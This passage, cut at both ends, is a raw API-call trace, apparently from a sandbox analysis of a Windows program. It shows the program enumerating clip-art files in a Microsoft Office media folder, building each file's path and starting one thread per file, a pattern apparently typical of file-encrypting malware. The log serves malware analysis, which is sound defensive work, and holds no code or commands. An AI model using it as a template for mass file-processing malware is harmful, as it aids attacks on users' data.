Office\\MEDIA\\CAGCAT10\\" [0126.735] wcscat (in: _Dest=0x2050a2f0, _Source="J0286068.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF" [0126.735] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a2f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf40 [0126.735] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa019c00, ftCreationTime.dwHighDateTime=0x1bef57a, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa019c00, ftLastWriteTime.dwHighDateTime=0x1bef57a, nFileSizeHigh=0x0, nFileSizeLow=0xb21e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287005.WMF", cAlternateFileName="")) returned 1 [0126.735] wcscmp (_String1="J0287005.WMF", _String2=".") returned 1 [0126.735] wcscmp (_String1="J0287005.WMF", _String2="..") returned 1 [0126.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050b070 [0126.735] wcscpy (in: _Dest=0x2050b070, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.736] wcscat (in: _Dest=0x2050b070, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.736] wcscat (in: _Dest=0x2050b070, _Source="J0287005.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF" [0126.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050b070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf3c [0126.736] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948c7400, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948c7400, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x76ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0291984.WMF", cAlternateFileName="")) returned 1 [0126.736] wcscmp (_String1="J0291984.WMF", _String2=".") returned 1 [0126.736] wcscmp (_String1="J0291984.WMF", _String2="..") returned 1 [0126.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050a920 [0126.737] wcscpy (in: _Dest=0x2050a920, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.737] wcscat (in: _Dest=0x2050a920, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.737] wcscat (in: _Dest=0x2050a920, _Source="J0291984.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF" [0126.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf38 [0126.737] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9003000, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9003000, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x7148, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292020.WMF", cAlternateFileName="")) returned 1 [0126.738] wcscmp (_String1="J0292020.WMF", _String2=".") returned 1 [0126.738] wcscmp (_String1="J0292020.WMF", _String2="..") returned 1 [0126.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050a4a0 [0126.738] wcscpy (in: _Dest=0x2050a4a0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.738] wcscat (in: _Dest=0x2050a4a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.738] wcscat (in: _Dest=0x2050a4a0, _Source="J0292020.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF" [0126.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a4a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf34 [0126.739] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4af05900, ftCreationTime.dwHighDateTime=0x1bf1522, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4af05900, ftLastWriteTime.dwHighDateTime=0x1bf1522, nFileSizeHigh=0x0, nFileSizeLow=0x20ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292152.WMF", cAlternateFileName="")) returned 1 [0126.739] wcscmp (_String1="J0292152.WMF", _String2=".") returned 1 [0126.739] wcscmp (_String1="J0292152.WMF", _String2="..") returned 1 [0126.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050a650 [0126.739] wcscpy (in: _Dest=0x2050a650, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.739] wcscat (in: _Dest=0x2050a650, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.739] wcscat (in: _Dest=0x2050a650, _Source="J0292152.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF" [0126.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf30 [0126.740] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48b60800, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x48b60800, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292982.WMF", cAlternateFileName="")) returned 1 [0126.740] wcscmp (_String1="J0292982.WMF", _String2=".") returned 1 [0126.740] wcscmp (_String1="J0292982.WMF", _String2="..") returned 1 [0126.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050b460 [0126.740] wcscpy (in: _Dest=0x2050b460, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.740] wcscat (in: _Dest=0x2050b460, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.740] wcscat (in: _Dest=0x2050b460, _Source="J0292982.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF" [0126.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050b460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf2c [0126.741] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x5ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293234.WMF", cAlternateFileName="")) returned 1 [0126.741] wcscmp (_String1="J0293234.WMF", _String2=".") returned 1 [0126.741] wcscmp (_String1="J0293234.WMF", _String2="..") returned 1 [0126.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050b4f0 [0126.741] wcscpy (in: _Dest=0x2050b4f0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.741] wcscat (in: _Dest=0x2050b4f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.741] wcscat (in: _Dest=0x2050b4f0, _Source="J0293234.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF" [0126.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050b4f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf28 [0126.742] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x766, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293236.WMF", cAlternateFileName="")) returned 1 [0126.742] wcscmp (_String1="J0293236.WMF", _String2=".") returned 1 [0126.742] wcscmp (_String1="J0293236.WMF", _String2="..") returned 1 [0126.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050b580 [0126.742] wcscpy (in: _Dest=0x2050b580, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.742] wcscat (in: _Dest=0x2050b580, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.742] wcscat (in: _Dest=0x2050b580, _Source="J0293236.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF" [0126.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050b580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf24 [0126.743] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293238.WMF", cAlternateFileName="")) returned 1 [0126.743] wcscmp (_String1="J0293238.WMF", _String2=".") returned 1 [0126.743] wcscmp (_String1="J0293238.WMF", _String2="..") returned 1 [0126.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86abc0 [0126.743] wcscpy (in: _Dest=0x1b86abc0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.743] wcscat (in: _Dest=0x1b86abc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.743] wcscat (in: _Dest=0x1b86abc0, _Source="J0293238.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF" [0126.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86abc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf20 [0126.744] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c285600, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9c285600, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x88e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293240.WMF", cAlternateFileName="")) returned 1 [0126.744] wcscmp (_String1="J0293240.WMF", _String2=".") returned 1 [0126.744] wcscmp (_String1="J0293240.WMF", _String2="..") returned 1 [0126.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86ab30 [0126.744] wcscpy (in: _Dest=0x1b86ab30, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.744] wcscat (in: _Dest=0x1b86ab30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.745] wcscat (in: _Dest=0x1b86ab30, _Source="J0293240.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF" [0126.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ab30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf1c [0126.745] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a99d00, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x47a99d00, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x92c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293570.WMF", cAlternateFileName="")) returned 1 [0126.745] wcscmp (_String1="J0293570.WMF", _String2=".") returned 1 [0126.745] wcscmp (_String1="J0293570.WMF", _String2="..") returned 1 [0126.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86a7d0 [0126.745] wcscpy (in: _Dest=0x1b86a7d0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.745] wcscat (in: _Dest=0x1b86a7d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.746] wcscat (in: _Dest=0x1b86a7d0, _Source="J0293570.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF" [0126.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a7d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf18 [0126.746] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0911500, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0911500, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x15ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293828.WMF", cAlternateFileName="")) returned 1 [0126.746] wcscmp (_String1="J0293828.WMF", _String2=".") returned 1 [0126.746] wcscmp (_String1="J0293828.WMF", _String2="..") returned 1 [0126.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86a740 [0126.747] wcscpy (in: _Dest=0x1b86a740, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.747] wcscat (in: _Dest=0x1b86a740, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.747] wcscat (in: _Dest=0x1b86a740, _Source="J0293828.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF" [0126.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf14 [0126.747] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7b82300, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7b82300, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x812, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293844.WMF", cAlternateFileName="")) returned 1 [0126.747] wcscmp (_String1="J0293844.WMF", _String2=".") returned 1 [0126.747] wcscmp (_String1="J0293844.WMF", _String2="..") returned 1 [0126.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86a860 [0126.748] wcscpy (in: _Dest=0x1b86a860, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.748] wcscat (in: _Dest=0x1b86a860, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.748] wcscat (in: _Dest=0x1b86a860, _Source="J0293844.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF" [0126.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf10 [0126.757] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72dc8d00, ftCreationTime.dwHighDateTime=0x1bf0891, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72dc8d00, ftLastWriteTime.dwHighDateTime=0x1bf0891, nFileSizeHigh=0x0, nFileSizeLow=0x29e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0295241.GIF", cAlternateFileName="")) returned 1 [0126.757] wcscmp (_String1="J0295241.GIF", _String2=".") returned 1 [0126.757] wcscmp (_String1="J0295241.GIF", _String2="..") returned 1 [0126.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86a8f0 [0126.757] wcscpy (in: _Dest=0x1b86a8f0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.757] wcscat (in: _Dest=0x1b86a8f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.757] wcscat (in: _Dest=0x1b86a8f0, _Source="J0295241.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF" [0126.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a8f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf0c [0126.758] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4c2400, ftCreationTime.dwHighDateTime=0x1bf2c95, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b4c2400, ftLastWriteTime.dwHighDateTime=0x1bf2c95, nFileSizeHigh=0x0, nFileSizeLow=0xcd52, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297185.WMF", cAlternateFileName="")) returned 1 [0126.758] wcscmp (_String1="J0297185.WMF", _String2=".") returned 1 [0126.758] wcscmp (_String1="J0297185.WMF", _String2="..") returned 1 [0126.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86a980 [0126.759] wcscpy (in: _Dest=0x1b86a980, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.759] wcscat (in: _Dest=0x1b86a980, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.759] wcscat (in: _Dest=0x1b86a980, _Source="J0297185.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF" [0126.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf08 [0126.759] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74beac00, ftCreationTime.dwHighDateTime=0x1bf2c97, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74beac00, ftLastWriteTime.dwHighDateTime=0x1bf2c97, nFileSizeHigh=0x0, nFileSizeLow=0x6db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297551.WMF", cAlternateFileName="")) returned 1 [0126.759] wcscmp (_String1="J0297551.WMF", _String2=".") returned 1 [0126.760] wcscmp (_String1="J0297551.WMF", _String2="..") returned 1 [0126.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86aaa0 [0126.760] wcscpy (in: _Dest=0x1b86aaa0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0126.760] wcscat (in: _Dest=0x1b86aaa0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0126.760] wcscat (in: _Dest=0x1b86aaa0, _Source="J0297551.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF" [0126.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86aaa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf04 [0126.761] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50170400, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, 